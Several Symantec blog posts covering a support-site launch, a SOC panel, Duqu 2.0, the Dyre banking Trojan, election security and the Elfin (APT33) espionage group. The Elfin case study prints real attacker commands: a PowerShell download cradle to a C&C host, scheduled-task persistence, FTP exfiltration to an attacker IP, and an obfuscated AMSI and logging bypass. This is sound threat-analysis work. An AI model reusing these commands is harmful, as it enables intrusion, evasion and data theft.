I am thrilled to share with you the news that the new Symantec Support website, Support.Symantec.com, is now live and ready to help our customers worldwide achieve even greater success. More than two years in the making, the new site offers a simple, intuitive place for our customers to find and get the support they are looking for.
The new site dramatically transforms the look and feel of our online support portal. The changes significantly improve the design, readability, and overall user experience of the site. Most important, the site is specifically designed to help our customers get to where they need to go the first time.
The new Symantec Support website, Support.Symantec.com, is now live and ready to help our customers worldwide achieve even greater success.
Our “Getting Started” link is now the first thing customers see when they visit the site. It is prominently displayed like a banner headline, front-and-center across the top of the support front page. It provides an instant navigation tool to guide our customers to where they want to go.
The “Getting Started” experience is now integrated into every aspect of the support experience. It allows our customers to drill into more specific product content directly from the site’s overview sections. First time customers, renewing customers, and customers who have purchased additional products can now all find the level of information they need from one place, simply and intuitively.
Perhaps, and to my mind, equally important, we made our support site fully responsive for all mobile devices. Now, every part of the site is easy to access, fully visible and functional, and easy to use from any device, anywhere, any time.
Easier to Read and Use
But that’s only just the beginning. We updated the design of the site to make it more visually appealing. The new site boasts a new, modern, clean and simple look and feel that puts it firmly in alignment and consistent with the style and brand guidelines of Symantec.com.
A huge customer benefit of the new design is how easy it is to read. We changed all the colors, fonts, and other text and formatting elements to support the latest research and consensus on accessibility guidelines. Customers will no longer be distracted or confused by conflicting fonts, colors, dead ends pages, or “walls of text.” The changes make the content easier to digest and understand, and ensures the elimination of a disjointed user experience.
Another key benefit is how we have built in intuitive navigation with clear calls to action on every page. The new site is organized by the most typical customer actions:
Current Issues
How to Guides
Get Started
In addition, the most common actions are now available from all points on the site. We have put Search and Contact Us in the header of every single page -- not just on the Home page. We have made common customer tasks easier to get to from anywhere—including the 80 percent of our visitors who arrive at our site through other search engines.
We are treating each of these articles – and all of our support site pages -- as pseudo-landing pages. No matter where they land, visitors to any page on our site will discover Search and Contact Us links on their pages to help them further on their way.
Designed for Our Customers First
The new look and navigational ease of use is a direct extension of our customer feedback. At Symantec, we are relentless in our commitment to fiercely listen to our customers. We understand how important support is to their success. And we are proud that our commitment to this ideal was recognized just recently with the Technology Services Industry Association (TSIA) “Rated Outstanding, Global Assisted & Self-Support” certification.
Our new website contributes significant value to our award-winning support by making it easy for customers to access our support solutions.
We listened to our customer feedback at every step of the design process. Every action we took was data driven, from direct customer interviews, focus group testing, and direct data we captured from Google and other platforms.
Our new website contributes significant value to our award-winning support by making it easy for customers to access our support solutions.
This combined feedback drove every aspect of our decision-making. As a captain of our design team said to me, “In virtually every respect, our new site is designed for the customer first, and not for Symantec first.”
In closing, I would like to add that it is important for you – our customers – to keep providing us with your feedback so that we can drive continuous improvements. Our goal is to continue to provide the best possible support the best ways possible.
As our interim CEO, Rick Hill notes, there is a direct link from customer support to customer success. Everything we do needs to be intuitive and organized around what our customers need to do to achieve that goal.
You are our partner in that great goal. And we thank you for your involvement. I invite you to tour our support.symantec site now. And I look forward to hearing your feedback.
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Drowning in Data, Security Execs Urge Move to Security Ecosystem
New focus being put on ways to elevate the role of network defenders from threat detectors to threat profilers
The concept of a security ecosystem is more than just marketing talk. It’s a recognition that any given cyber solution needs to be understood in terms of how it fits into the larger constellation of products and services that are required to protect today’s distributed IT environments.
But how exactly does that ecosystem come together?
That was the focus of a recent panel discussion, hosted by Splunk, that brought together senior executives from a handful of cyber organizations—Crowdstrike, Johns Hopkins Applied Physics Lab (APL), Recorded Future, Splunk and myself.
We looked at the problem from the perspective of the security operations center (SOC), the “epicenter of cyber security,” in the words of our moderator, Haiyan Song, Senior Vice President of Security Markets at Splunk.
As Haiyan noted, studies have found that organizations typically have dozens of different security products—in some cases 70 or more—each of which generates data for cyber analysts. In theory, analysts should be able to leverage all that data to understand what’s happening on their networks.
But often these products are not working as an ecosystem, but as a disparate array of point solutions, and analysts can find themselves feeling overwhelmed—to the point that they no longer can tell what’s important and what’s not. Harley Parkes, who is a Senior Systems Engineer at Johns Hopkins APL, called it the “fog of war.”
This inundation of data has serious implications for SOCs. The quicker that analysts can sift through the data and identify real threats, the quicker they can respond and limit the damage.
Oliver Friedrichs, the Vice President of Security Automation and Orchestration at Splunk, said that a piece of malware, once introduced into a network, typically takes an hour and fifty-eight minutes before it breaks out and begins spreading. If analysts are still struggling to make sense of the data when that window closes, they will have even more trouble on their hands.
Ultimately, we need to elevate our network defenders from threat detectors to threat profilers.
The good news is that we are beginning to see how a security ecosystem might come together. One critical component of that ecosystem is the emergence of standard application programming interfaces, or APIs, which allow different security solutions to exchange information. As agencies modernize their systems over time, standard APIs, combined with a standard taxonomy, make it easier for them to leverage their legacy systems as part of the new ecosystem.
But while APIs help address the problem of interoperability, they do nothing to help analysts make sense of the associated data. That’s where artificial intelligence (AI) and machine learning come in.
AI and machine learning, incorporated into the ecosystem, make it possible to accelerate threat analysis and response—not replacing analysts, but providing them with deeper insights that lead to quicker, more effective responses. These tools also provide a foundation for greater automation and orchestration, making it easier to scale up cyber defenses.
Even then, however, analysts might find themselves with too much data—more alerts than they could possibly respond to in a timely fashion.
They need contextual information that can help them assess the risks associated with the different threats and adversaries, tapping into external resources to gain deeper insights into the current threat landscape: the ever-shifting lineup of malicious actors, their motivations and techniques, their active campaigns and the risks they pose.
Ultimately, we need to elevate our network defenders from threat detectives to threat profilers. Rather than simply responding to alerts, they should be leveraging AI, machine learning and other analytic tools to begin identifying patterns that could point to the emergence of a potential threat well before it takes hold or breaks out.
You might say that a security ecosystem delivers on three basic goals: Visibility, context and control. It provides organizations with deep insight into their environment, with total visibility into the risks they face and constant awareness of their cyber posture across the entire enterprise—and with the ability to adapt that posture as the threats evolve, using AI, machine learning and related tools to bring more intelligent automation and orchestration.
For many organizations, this vision of a security ecosystem might sound daunting. But as our panel discussion made clear, this vision is both necessary and achievable.
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Duqu 2.0: Reemergence of an aggressive cyberespionage threat
Malware used in a number of attack campaigns against a European telecoms operator, a North African telecoms operator, and a South East Asian electronic equipment manufacturer.
Duqu 2.0, the cyberespionage tool that was used to compromise security firm Kaspersky Lab, has also been used in a number of other attack campaigns against a range of targets, including several telecoms firms. Analysis by Symantec concurs with Kaspersky’s assessment today that Duqu 2.0 (detected by Symantec as W32.Duqu.B) is an evolution of the older Duqu worm, which was used in a number of intelligence-gathering attacks against a range of industrial targets before it was exposed in 2011. Although their functionalities were different, the original Duqu worm had many similarities with the Stuxnet worm used to sabotage the Iranian nuclear development program.
New attacks
Symantec has found evidence that Duqu has been used in a number of different attack campaigns against a small number of selected targets. Among the organizations targeted were a European telecoms operator, a North African telecoms operator, and a South East Asian electronic equipment manufacturer. Infections were also found on computers located in the US, UK, Sweden, India, and Hong Kong.
In addition to the attack against itself, Kaspersky believes Duqu was used to target countries involved in international negotiations surrounding Iran’s nuclear program. Given the diversity of targets, Symantec believes that the Duqu attackers have been involved in multiple cyberespionage campaigns. Some organizations may not be the ultimate targets of the group’s operations, but rather stepping stones towards the final target. The group’s interest in telecoms operators could be related to attempts to monitor communications by individuals using their networks.
Symantec has found no evidence to suggest that it has been affected by attacks using this malware.
Duqu 2.0 in operation
This new version of Duqu is stealthy and resides solely in the computer’s memory, with no files written to disk. It comes in two variants. The first is a basic back door that appears to be used to gain a persistent foothold inside the targeted entity by infecting multiple computers.
The second variant is more complex. It has the same structure as the first, but contains several modules that provide a range of functionality to the malware, such as gathering information on the infected computer, stealing data, network discovery, network infection, and communication with command-and-control (C&C) servers. This variant appears to be deployed to computers deemed to be targets of interest by the attackers.
Common code and code flow
Duqu and Duqu 2.0 share large amounts of code, in addition to similarities in how that code is organized. The shared code includes a number of helper functions. For example, as shown in Figure 1, there is a “gen_random” function (as labelled by an engineer) that is shared between Duqu and Duqu 2.0.
Not only is that gen_random code shared, but the code that calls that function is also organized almost identically. Such similarities in how code is called is repeated in several other locations throughout Duqu 2.0, including in how C&C IP addresses are formatted, how network messages are generated, and how files are encrypted and decrypted.
Figure 1. Duqu vs Duqu 2.0 code flow
When a program needs to store data, the program author will design structures to store that data in a logical and easily accessible manner. Duqu and Duqu 2.0 share a number of these data structures.
Network communications
Another shared feature between the two variants, as shown in Figure 1, is the use of a cookie header with a hardcoded string and a random string when sending messages to a C&C server. For example:
Duqu: Cookie: PHPSESSID=<random_str_0x1A_size>
Duqu 2.0: Cookie: COUNTRY=<random_str_0x1A_size>
A second shared feature in the network communications code is to connect to a number of Microsoft URLs to retrieve a proxy address, as shown in Figure 2.
Figure 2. Duqu vs Duqu 2.0 network code
The list of Microsoft URLs connected to, by both variants, is identical.
Finally, for network communications, when Duqu uses HTTP, it will use image names in the “Content-Disposition” header. For Duqu, the value “DSC00001.jpg” was used, whereas for Duqu 2.0, the value “%05d.gif” is used.
Conclusion
Based on our analysis, Symantec believes that Duqu 2.0 is an evolution of the original threat, created by the same group of attackers. Duqu 2.0 is a fully featured information-stealing tool that is designed to maintain a long term, low profile presence on the target’s network. Its creators have likely used it as one of their main tools in multiple intelligence gathering campaigns.
Given that activity surrounding the original version of Duqu dropped off following its discovery, it is likely that the group may now retreat before re-emerging with new malware.
Protection
Symantec and Norton products detect this threat as:
W32.Duqu.B
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Dyre emerges as main financial Trojan threat
Malware configured to defraud the customers of more than 1,000 banks and other companies worldwide.
The Dyre financial Trojan has emerged over the past year to become one of the most potent financial fraud tools in operation. Dyre is configured to defraud the customers of more than 1,000 banks and other companies worldwide. Consumers in English-speaking countries, in particular the US and UK, are most at risk, since this is where the largest numbers of targeted banks are located.
After a number of recent takedowns against major financial threats such as Gameover Zeus, Shylock, and Ramnit, the threat posed by these groups has receded but Dyre has taken their place as one of the main threats to ordinary consumers.
Detected by Symantec as Infostealer.Dyre, Dyre targets Windows computers and can steal banking and other credentials by attacking all three major web browsers (Internet Explorer, Chrome, and Firefox).
Dyre is a two-pronged threat. Aside from stealing credentials, it can also be used to infect victims with other types of malware, such as adding them to spam botnets.
A year of growth
As outlined in a new technical paper from Symantec Security Response published today, the number of Dyre infections began to surge a year ago and the attackers behind this malware have steadily improved its capabilities and continued to build out supporting infrastructure.
Figure. Dyre detections over time
Spread of infections
Dyre is mainly spread using spam emails. In most cases, the emails masquerade as businesses documents, voicemail, or fax messages. If the victim clicks on an email’s attachment, they are redirected to a malicious website which will install the Upatre downloader on their computer (detected by Symantec as Downloader.Upatre).
Upatre is one of the most popular reconnaissance/downloader tools used by financial fraud groups and has previously been employed by the Gameover Zeus and Cryptolocker gangs. Upatre acts as a bridgehead on the victim’s computer, collecting information about it, attempting to disable security software, and finally downloading and installing the Dyre Trojan.
Credential stealing
Dyre is capable of using several different types of man-in-the-browser (MITB) attacks against the victim’s web browser to steal credentials. One MITB attack involves scanning every web page visited and checking it against a list of sites that Dyre is pre-configured to attack. If a match is found, it redirects the victim to a fake website that looks similar to its genuine counterpart. This fake website will harvest the victim’s credentials before redirecting back to the genuine website.
A second MITB attack allows Dyre to alter the way legitimate websites are displayed in the browser window by adding malicious code to it to steal the victim’s login credentials. In some scenarios, Dyre may also display an additional fake page informing the victim that their computer has not been recognized and that additional credentials need to be provided to verify their identity, such as their date of birth, PIN code, and credit card details.
Gateway to other threats
Dyre is also used to infect victims with further malware and Symantec has to date seen seven other malware families being pushed out to infected computers. In many cases, the victim is added to a botnet, which is then used to power further spam campaigns and infect more victims.
The attackers behind Dyre
Based on the times at which the Dyre attackers are most active, Symantec believes that the group is likely based in Eastern Europe or Russia. A large amount of the group’s command-and-control (C&C) infrastructure is located in these regions, but a relatively low number of infections occur in these countries. It is possible that the group may be attempting to keep a low profile by avoiding targets close to home.
Protection
Symantec and Norton products detect these threats as:
Infostealer.Dyre
Downloader.Upatre
Other threats distributed by the Dyre Trojan are detected as:
Trojan.Spadyra
Trojan.Spadoluk
Trojan.Pandex.B
Infostealer.Kegotip
Trojan.Fareit
Trojan.Doscor
Trojan.Fitobrute
Mitigation strategies
Always keep your security software up to date to protect yourself against any new variants of this malware.
Keep your operating system and other software updated. Software updates will frequently include patches for newly discovered security vulnerabilities that could be exploited by attackers.
Exercise caution when conducting online banking sessions, in particular if the behavior or appearance of your bank’s website changes.
Further reading
For detailed technical analysis and indicators of compromise, please read our whitepaper Dyre: Emerging threat on financial fraud landscape.
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Dyre: Operations of bank fraud group grind to halt following takedown
Symantec telemetry has confirmed a virtual cessation of the group’s activities.
The cybercrime group controlling the Dyre financial fraud Trojan appears to have suffered a major blow following a Russian law enforcement operation in November. Symantec telemetry has confirmed a virtual cessation of the group’s activities. Dyre (detected by Symantec as Infostealer.Dyre) is spread through email spam campaigns and no Dyre-related spam campaigns have been observed since November 18. Detections of the Dyre Trojan and associated malware have also dropped dramatically since mid-November.
Abrupt cessation of spam campaigns
Dyre is primarily spread through email spam campaigns, most of which masquerade as business documents, voicemail, or fax messages. The Dyre group had been running email campaigns on most weekdays, dispatching between one and 15 separate email campaigns per day. However, Dyre-related spam campaigns halted abruptly on November 18 and none have been observed since then, indicating a major disruption in the group’s operations.
Figure 1. Dyre-related spam campaigns by day from March 2015 onwards. Activity ceases on November 18, 2015.
Dyre spam campaigns come with a malicious attachment, which, if opened, will install the Upatre downloader on their computer (detected by Symantec as Downloader.Upatre).
Upatre collects information about the victim’s computer, attempts to disable security software, and finally downloads and installs the Dyre Trojan. The Dyre group has been one of the main users of Upatre in over the past year. Symantec telemetry indicates a huge fall in the number of Upatre infections since November. The monthly infection rate has fallen below 20,000, after reaching a high of more than 250,000 per month in July 2015.
Figure 2. Upatre infections since January 2015
The number of infections involving the Dyre Trojan itself has also dropped off significantly in the same period. The infection rate was running above 9,000 a month in early 2015. Since November it has fallen to below 600 per month.
Figure 3. Dyre infections since January 2015
Major financial threat
Prior to this takedown, Dyre had emerged as one of the most dangerous financial fraud operations. The Dyre Trojan is configured to defraud the customers of more than 1,000 banks and other companies worldwide. Consumers in English speaking countries, in particular the US and UK were most at risk, since this is where the largest numbers of targeted banks were located.
Dyre targets Windows computers and can defraud victims by snooping on their online banking sessions, stealing their credentials, and sending them back to the attackers. Dyre is also used to infect victims with additional malware and Symantec has to date seen at least seven other malware families being pushed out to infected computers. In many cases, the victim is added to a botnet, which is then used to power further spam campaigns and infect more victims.
Takedowns have no guarantee of success
The move against Dyre appears to be one of the most successful of a number of recent takedown operations against similar financial fraud threats. Unless all of the key figures are arrested and major infrastructure seized, cybercrime groups can quickly rebuild their operations in the aftermath of a law enforcement swoop.
For example, an October 2015 operation against Dridex, one of the other major financial fraud Trojans currently in operation, appears to have had a limited impact on its operations. While one man was charged and thousands of compromised computers were sinkholed, the rate of Dridex infections did not abate following the takedown.
Figure 4. Takedown operation during October 2015 had little impact on Dridex infections
Early indications are that the operation against Dyre has been quite successful, with no sign of the group attempting to re-establish itself. Whether the threat will disappear entirely will become apparent in the coming months.
Protection
Using an email security solution should remove the chance of accidentally opening malicious email and malicious attachments in the first place.
Email-filtering services such as Symantec Email Security.cloud can help to filter out potential malicious emails before they can reach users.
Symantec Messaging Gateway’s Disarm technology can also protect computers from this threat by removing the malicious content from the attached documents before they even reach the user.
Antivirus
Downloader.Upatre
Infostealer.Dyre
Infostealer.Dyre!gm
SONAR.Dyre!gen1
Infostealer.Dyre!g2
Infostealer.Dyre!g1
Infostealer.Dyre!g3
Intrusion Prevention System
System Infected: Infostealer.Dyre Injection Activity
System Infected: Infostealer.Dyre Activity 5
System Infected: Infostealer.Dyre Activity 3
System Infected: Infostealer.Dyre Activity 2
Further reading
For more information on Dyre, see our whitepaper: Dyre: Emerging threat on financial fraud landscape
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Election Security: We Dodged a Bullet, but Don’t Get Complacent
Government, election officials at RSA say the US did a lot better in 2020 than 4 years earlier. But the threats have not gone away
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
In 2020, the worst-case scenarios involving outside interference in the U.S. presidential elections failed to materialize. But state and federal authorities say it wasn’t for wont of trying.
Two reasons:
This time around the U.S. was prepared, thanks to unprecedented cooperation between government and the private sector. Secondly, adversaries chose to focus on spreading misinformation and disinformation. But in a post-mortem offered at the RSA Conference 2021, election and security officials said this remains an ongoing struggle in the shadows against hostile nation-states who are smart about picking their battles.
“We didn't see our adversaries go after the ballot box, but we saw them try to influence our minds…aimed towards de-stabilizing society,” said Cynthia Kaiser, a section chief with the FBI.
Kaiser said that Russia and Iran, which she identified as the main threat actors in the last election cycle, concentrated on creating content or amplifying messages found on social media. Post-election, she said the agency had found evidence they were trying to intimidate election officials and exacerbate tensions after Joe Biden’s election victory.
“We're not done. We have to continue what we're doing and get better at what we're doing,” Kaiser said, adding that she remained concerned about future elections “where adversaries believe they can conduct activities with impunity because there are no consequences or risks attached to their behavior.
“I think it's essentially about getting some of these adversaries to change their cost-benefit analysis, whether they should be doing these activities in the first place and get them to the point where they’re saying, ‘It's just not worth it.’ That’s a long game.”
Better Security Coordination
As Lester Godsey, the Chief Information Security Officer of Arizona’s Maricopa County, prepared for last fall’s elections, he recalled the frustration he felt in years past trying to get better intelligence support from government agencies.
“It used to feel like information sharing was more or less one way,” he said. By contrast, Godsey said he saw “a night and day difference in terms of intelligence sharing” in 2020.
For example, on Election Day Maricopa County was tracking suspicious activity on social media channels, as well as any evidence of Advanced Persistent Threats, and passed the information to federal authorities. For its part, the FBI was in close contact, reporting on what it had seen in Maricopa County and other regions of the U.S.
“It was excellent,” Godsey said. “And honestly, in terms of communication, that's been the most collaborative effort I've ever been involved in.”
Geoff Hale, the senior cyber security advisor at the Cyber Security and Infrastructure Security Agency (CISA), an arm of the U.S. Department of Homeland Security, agreed that improved preparation made a big difference. He said the 2020 election offered a “model” in terms of the security safeguards and capabilities put in place beforehand. At the same time, he said the nation needs to recognize that there’s a “new normal” in terms of threats and risks to election infrastructure.
The challenge is to avoid turning this into a game of whack-a-mole, he said, where the system is scrambling to react to disinformation.
“We saw the playbook in 2016,” Hale said, adding that threat actors working on behalf of national adversaries are not calling it quits. “[They] evolved in 2020. We're going to have to be ready in elections to come.”
The challenge is to avoid turning this into a game of whack-a-mole, he said, where the system is scrambling to react to disinformation.
“We have in the US government, some of the most robust capabilities to degrade disinformation actors coming in from foreign sources,” he said. “The ability to target those threat actor interventions is a great tool in the tool set. But it can't be the only thing we have.”
Hale and others on the panel underscored the urgency to address the supply of disinformation in different ways. But they also recognized that they’re hard-pressed to stay ahead of an impossibly large amount of bad information churned out around election time.
“Americans are often searching for information,” he said. “But how do you prevent the information environment from being overly distorted? We're not trying to stop anyone from being wrong on the internet. We're just trying to make sure that their information environment is not so broken.”
I think it's a great challenge,” Hale continued. “There’s always going to be a segment of the population that is going to reject the message from the messenger – particularly when the messenger is the federal government. But the best that we can do in many instances is try to make sure that the information environment is not in great disorder so that those populations that are undecided about whether this artifact of disinformation is true or not and that they have the opportunity to find better sources.”
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Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.
Although heavily focused on the Middle East, Elfin (aka APT33) has also targeted a range of organizations in the U.S. including a number of major corporations.
The Elfin espionage group (aka APT33) has remained highly active over the past three years, attacking at least 50 organizations in Saudi Arabia, the United States, and a range of other countries.
The group, which first became active in late 2015 or early 2016, specializes in scanning for vulnerable websites and using this to identify potential targets, either for attacks or creation of command and control (C&C) infrastructure. It has compromised a wide range of targets, including governments along with organizations in the research, chemical, engineering, manufacturing, consulting, finance, telecoms, and several other sectors.
Figure 1. Elfin attacks by country, 2016 -2019
Many U.S. targets
Elfin continues to be focused heavily on Saudi Arabia, which accounted for 42 percent of attacks observed by Symantec since the beginning of 2016. However, the U.S. has also been a country of significant interest to the group, with 18 organizations attacked over the past three years, including a number of Fortune 500 companies.
Elfin targets in the U.S. have included organizations in the engineering, chemical, research, energy consultancy, finance, IT, and healthcare sectors.
Figure 2. Elfin attacks by sector, 2016-2019
Some of these U.S. organizations may have been targeted by Elfin for the purpose of mounting supply chain attacks. In one instance, a large U.S. company was attacked in the same month a Middle Eastern company it co-owns was also compromised.
Figure 3. Elfin attacks by month, 2016-2019
Vulnerability exploitation
In a recent wave of attacks during February 2019, Elfin attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR, the widely used file archiving and compression utility capable of creating self-extracting archive files. The exploit was used against one target in the chemical sector in Saudi Arabia. If successfully exploited on an unpatched computer, the vulnerability could permit an attacker to install any file on the computer, which effectively permits code execution on the targeted computer.
Two users in the targeted organization received a file called "JobDetails.rar", which attempted to exploit the WinRAR vulnerability. This file was likely delivered via a spear-phishing email. However, prior to this attempted attack, Symantec had rolled out proactive protection against any attempt to exploit this vulnerability (Exp.CVE-2018-20250). This protection successfully protected the targeted organization from being compromised.
The Shamoon connection
Elfin came under the spotlight in December 2018 when it was linked with a new wave of Shamoon attacks. One Shamoon victim in Saudi Arabia had recently also been attacked by Elfin and had been infected with the Stonedrill malware (Trojan.Stonedrill) used by Elfin. Because the Elfin and the Shamoon attacks against this organization occurred so close together, there has been speculation that the two groups may be linked. However, Symantec has found no further evidence to suggest Elfin was responsible for these Shamoon attacks to date. We continue to monitor the activities of both groups closely.
Elfin’s toolset
Elfin has deployed a wide range of tools in its attacks including custom malware, commodity malware, and open-source hacking tools.
Custom malware used by the group include:
Notestuk (Backdoor.Notestuk) (aka TURNEDUP): Malware that can be used to open a backdoor and gather information from a compromised computer.
Stonedrill (Trojan.Stonedrill): Custom malware capable of opening a backdoor on an infected computer and downloading additional files. The malware also features a destructive component, which can wipe the master boot record of an infected computer.
AutoIt backdoor: A custom built backdoor written in the AutoIt scripting language.
In addition to its custom malware, Elfin has also used a number of commodity malware tools, available for purchase on the cyber underground. These include:
Remcos (Backdoor.Remvio): A commodity remote administration tool (RAT) that can be used to steal information from an infected computer.
DarkComet (Backdoor.Breut): Another commodity RAT used to open a backdoor on an infected computer and steal information.
Quasar RAT (Trojan.Quasar): Commodity RAT that can be used to steal passwords and execute commands on an infected computer.
Pupy RAT (Backdoor.Patpoopy): Commodity RAT that can open a backdoor on an infected computer.
NanoCore (Trojan.Nancrat): Commodity RAT used to open a backdoor on an infected computer and steal information.
NetWeird (Trojan.Netweird.B): A commodity Trojan which can open a backdoor and steal information from the compromised computer. It may also download additional potentially malicious files.
Elfin also makes frequent use of a number of publicly available hacking tools, including:
LaZagne (SecurityRisk.LaZagne): A login/password retrieval tool
Mimikatz (Hacktool.Mimikatz): Tool designed to steal credentials
Gpppassword: Tool used to obtain and decrypt Group Policy Preferences (GPP) passwords
SniffPass (SniffPass): Tool designed to steal passwords by sniffing network traffic
Case study: How an Elfin attack unfolds
In this section, we describe in detail an Elfin attack on a U.S. organization. On February 12, 2018 at 16:45 (all times are in the organization’s local time), an email was sent to the organization advertising a job vacancy at an American global service provider. The email contained a malicious link to hxxp://mynetwork.ddns[DOT].net:880.
The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&C server via an embedded iframe. At the same time, code embedded within this file also executed a PowerShell command to download and execute a copy of chfeeds.vbe from the C&C server.
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};IEX(New-Object Net.WebClient).DownloadString('hxxps://217.147.168[DOT]46:8088/index.jpg');
A second JavaScript command was also executed, which created a scheduled task to execute chfeeds.vbe multiple times a day.
a.run('%windir%\\System32\\cmd.exe /c PowerShell -window hidden schtasks.exe /CREATE /SC DAILY /TN "1" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 01:00 /f && schtasks.exe /CREATE /SC DAILY /TN "3" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 03:00 /f && schtasks.exe /CREATE /SC DAILY /TN "5" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 05:00 /f && schtasks.exe /CREATE /SC DAILY /TN "7" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 07:00 /f && schtasks.exe /CREATE /SC DAILY /TN "9" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 09:00 /f && schtasks.exe /CREATE /SC DAILY /TN "11" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 11:00 /f && schtasks.exe /CREATE /SC DAILY /TN "13" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 13:00 /f && schtasks.exe /CREATE /SC DAILY /TN "15" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 15:00 /f && schtasks.exe /CREATE /SC DAILY /TN "17" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 17:00 /f && schtasks.exe /CREATE /SC DAILY /TN "19" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 19:00 /f && schtasks.exe /CREATE /SC DAILY /TN "21" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 21:00 /f && schtasks.exe /CREATE /SC DAILY /TN "23" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 23:00 /f ')
The chfeeds.vbe file acts as a downloader and was used to download a second PowerShell script (registry.ps1). This script in turn downloaded and executed a PowerShell backdoor known as POSHC2, a proxy-aware C&C framework, from the C&C server (hxxps:// host-manager.hopto.org). Later at 20:57, the attackers became active on the compromised machine and proceeded to download the archiving tool WinRAR.
89.34.237.118 808 hxxp://89.34.237[DOT]118:808/Rar32.exe
At 23:29, the attackers then proceeded to deploy an updated version of their POSHC2 stager.
192.119.15.35 880 hxxp://mynetwork.ddns[DOT]net:880/st-36-p4578.ps1
This tool was downloaded several times between 23:29 on February 12 and 07:47 on February 13.
Two days later, on February 14 at 15:12, the attackers returned and installed Quasar RAT onto the infected computer that communicated with a C&C server (217.147.168.123). Quasar RAT was installed to CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe.
At this point, the attackers ceased activity while maintaining access to the network until February 21. At 06:38, the attackers were observed downloading a custom .NET FTP tool to the infected computer.
192.119.15.36 880 hxxp://192.119.15[DOT]36:880/ftp.exe
Later at 6:56, the attackers exfiltrated data using this FTP tool to a remote host:
JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f /[REDACTED] -u [REDACTED] -p [REDACTED]
Activity ceased until the attackers returned on March 5 and were observed using Quasar RAT to download a second custom AutoIt FTP exfiltration tool known as FastUploader from hxxp://192.119.15[DOT]36:880/ftp.exe. This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp.exe. FastUploader is a custom FTP tool designed to exfiltrate data at a faster rate than traditional FTP clients.
At this point, additional activity from the attackers continued between March 5 into April, and on April 18 at 11:50, a second remote access tool known as DarkComet was deployed to csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe on the infected computer. This was quickly followed 15 seconds later by the installation of a credential dumping to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe, and the execution of PowerShell commands via PowerShell Empire, a freely available post-exploitation framework, to bypass logging on the infected machine.
$GPF=[Ref].AsSeMBLy.GeTTYPe('System.Management.Automation.Utils')."GEtFiE`LD"('cachedGroupPolicySettings','N'+'onPublic,Static');If($GPF){$GPC=$GPF.GeTVALUE($NUlL);If($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAL=[COlLecTIons.GEneRic.DIctIoNARy[stRiNG,SyStEM.Object]]::nEw();$VAL.ADD('EnableScriptB'+'lockLogging',0);$VaL.Add
('EnableScriptBlockInvocationLogging',0);$GPC
['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[SCRIPTBLOck]."GEtFiE`Ld"('signatures','N'+'onPublic,Static').SETVAlue($NuLL,(New-ObjeCt ColLectiONs.GeNERic.HASHSEt[StrInG]))}[REF].AssemBLy.GetTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SETValUe($nUll,$TrUE)};
Activity continued throughout April where additional versions of DarkComet, POSHC2 implants, and an AutoIt backdoor were deployed along with further credential dumping activities.
Active and agile attacker
Elfin is one of the most active groups currently operating in the Middle East, targeting a large number of organizations across a diverse range of sectors. Over the past three years, the group has utilized a wide array of tools against its victims, ranging from custom built malware to off-the-shelf RATs, indicating a willingness to continually revise its tactics and find whatever tools it takes to compromise its next set of victims.
Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
File-based protection
Backdoor.Notestuk
Trojan.Stonedrill
Backdoor.Remvio
Backdoor.Breut
Trojan.Quasar
Backdoor.Patpoopy
Trojan.Nancrat
Trojan.Netweird.B
Exp.CVE-2018-20250
SecurityRisk.LaZagne
Hacktool.Mimikatz
SniffPass
SHA2 Description
5798aefb07e12a942672a60c2be101dc26b01485616713e8be1f68b321747f2f Notestuk/TURNEDUP
a67461a0c14fc1528ad83b9bd874f53b7616cfed99656442fb4d9cdd7d09e449 AutoIt backdoor
f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5 Gpppassword
87e2cf4aa266212aa8cf1b1c98ae905c7bac40a6fc21b8e821ffe88cf9234586 LaZagne
709df1bbd0a5b15e8f205b2854204e8caf63f78203e3b595e0e66c918ec23951 LaZagne
a23c182349f17398076360b2cb72e81e5e23589351d3a6af59a27e1d552e1ec0 Quasar RAT
0b3610524ff6f67c59281dbf4a24a6e8753b965c15742c8a98c11ad9171e783d Quasar RAT
d5262f1bc42d7d5d0ebedadd8ab90a88d562c7a90ff9b0aed1b3992ec073e2b0 Quasar RAT
